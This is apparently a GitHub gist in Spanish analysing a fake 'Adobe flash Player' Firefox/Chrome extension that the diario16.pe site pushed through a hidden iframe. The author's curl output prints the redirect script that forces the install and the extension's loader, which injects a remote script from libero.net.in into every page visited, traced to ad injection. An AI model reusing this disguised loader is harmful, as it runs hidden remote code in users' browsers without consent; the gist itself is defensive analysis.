Skip to content

Instantly share code, notes, and snippets.

@marsam
Created July 31, 2012 06:51
Show Gist options
  • Select an option

  • Save marsam/3214324 to your computer and use it in GitHub Desktop.

Select an option

Save marsam/3214324 to your computer and use it in GitHub Desktop.
Analisis de la extensión del diario16

diario 16

Diario16, Imagen tomada por Ernesto Quiñones

A la fecha (31 julio del 2012) al acceder a la paágina web de diario16, se intenta intalar un extensión firefox desde libero.net:

$ curl -s 'http://diario16.pe/' | grep -n -i libero
1144:<iframe id="iframexd" src="http://libero.net.in/plugin.php" width="0px" height="0px" frameborder="0"></iframe>

Checkamos de que se trata tal extensión:

$ curl -s http://libero.net.in/plugin.php
<script>
var navegador = navigator.userAgent;
if (navigator.userAgent.indexOf('MSIE') !=-1) {
    document.write('<img src="http://whos.amung.us/swidget/liberoxdie.gif"/>');
} else if (navigator.userAgent.indexOf('Firefox') !=-1) {
        document.write('<img src="http://whos.amung.us/swidget/liberoxdff.gif"/>');  
    location.href='http://libero.net.in/plugins/flash.xpi';
} else if (navigator.userAgent.indexOf('Chrome') !=-1) {
        document.write('<img src="http://whos.amung.us/swidget/liberoxdch.gif"/>');
    location.href='http://libero.net.in/plugins/flash.crx';
} else {
    document.write('<img src="http://whos.amung.us/swidget/liberoxdie.gif"/>');
}
</script>

El script inserta una imagen y enlaza a la extensión .xpi (para firefox)

$ curl -s -i http://whos.amung.us/swidget/liberoxdff.gif
HTTP/1.1 303 See Other
Date: Tue, 31 Jul 2012 05:21:59 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: close
Location: http://widgets.amung.us/small/00/2.png
Set-Cookie: uid=CgH9HlAXa3dQGF8+dPZpAg==; expires=Thu, 31-Dec-37 23:55:55 GMT; domain=whos.amung.us; path=/

La imagen pertenece a amung.us asi que lo dejo ahi, ahora vamos a ver el .xpi

$ curl -OL 'http://libero.net.in/plugins/flash.xpi'
$ unzip -d plugin flash.xpi 
$ cd plugin
$ tree
.
├── chrome
├── chrome.manifest
├── content
│   ├── prefman.js
│   ├── script-compiler.js
│   ├── script-compiler-overlay.xul
│   ├── vpstream.js
│   └── xmlhttprequester.js
└── install.rdf

2 directories, 7 files

Revisando un poco la documentación de las extensiones de firefox, vamos a analizar un poco, para eso abrimos ipython:

In [1]: from bs4 import BeautifulSoup

In [2]: soup = BeautifulSoup(open('install.rdf').read(), features='xml')

In [3]: print soup.prettify()
<?xml version="1.0" encoding="utf-8"?>
<RDF xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#">
<Description about="urn:mozilla:install-manifest">
<em:id>
mfgt@live.com
</em:id>
<em:name>
Adobe flash Player
</em:name>
<em:version>
3.1
</em:version>
<em:description>
Permite ver videos online alojados en diferentes servidores, a través de Internet
</em:description>
<em:creator>
Ver Pelis
</em:creator>
<em:homepageURL>
http://get.adobe.com
</em:homepageURL>
<em:targetApplication>
<Description>
    <em:id>
    {ec8030f7-c20a-464f-9b0e-13a3a9e97384}
    </em:id>
    <em:minVersion>
    2.0
    </em:minVersion>
    <em:maxVersion>
    20.*
    </em:maxVersion>
</Description>
</em:targetApplication>
</Description>
</RDF>

Un momento, ¿esta extensión sirve "para ver videos"?. Leyendo un poco el contenido del script:

$ cat content/vpstream.js 
function loadScript() {
        var s = document.createElement('script');
        s.setAttribute("type","text/javascript");
        s.setAttribute("src", "http://libero.net.in/plugin.js");
        var head = (document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]);
        if (head!=null) {
        head.appendChild(s);
        }
}
loadScript();

Esta extensión inserta plugin.js desde libero en la página. Interesante, ahora vamos a analizar ese plugin.js:

$ curl -OL 'http://libero.net.in/plugin.js'

OMFG, ese script en las páginas desde facebook y youtube, hasta wikipedia, inserta un iframe con un con un html de otra página y todo escondido bajo una imagen de amung.us, asi que nadie sospecha nada. Al carajo, esa dizque extensión para nada "te permite ver videos".

Analicemos ese un poco es html:

$ curl http://wtfvideos.tv/publi_728x90.html
<!-- BEGIN SMOWTION TAG - 728x90 - DO NOT MODIFY -->
<script type="text/javascript"><!--
smowtion_size = "728x90";
smowtion_section = "2638350";
//-->
</script>
<script type="text/javascript"
src="http://ads.smowtion.com/ad.js?s=2638350&z=728x90">
</script>
<!-- END SMOWTION TAG - 728x90 - DO NOT MODIFY -->% 

El cual apunta a otro javascript desde smowtion. smowtion es una empresa argentina (creo) de dudosa reputación, su página en wikipedia en español rompe la mayoría de los guidelines de la wikipedia (triste), pero se puede leer esta discución en la wikipedia en inglés. Al parecer no era tan malo como pensaba, es solamente alguien que inserta su codigo de publicidad en todas las páginas que visitamos, para así poder ganar dinero a nuestras cuestas. Gracias diario16 por ofrecernos algo tan útil (sarcasmo). La pregunta del millón es a quien pertenece ese código.

Ese javascript de smowtion, me da mala espina, analicemoslo por si acaso:

$ curl -o ad.js 'http://ads.smowtion.com/ad.js?s=2638350&z=728x90'
$ npm install -g uglify-js
$ uglifyjs -b -i 2 ad.js

Luego de leer el javascript: OMFG! usa scorecardresearch. Ahora si me estoy asustando. Damn you Diario16!.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment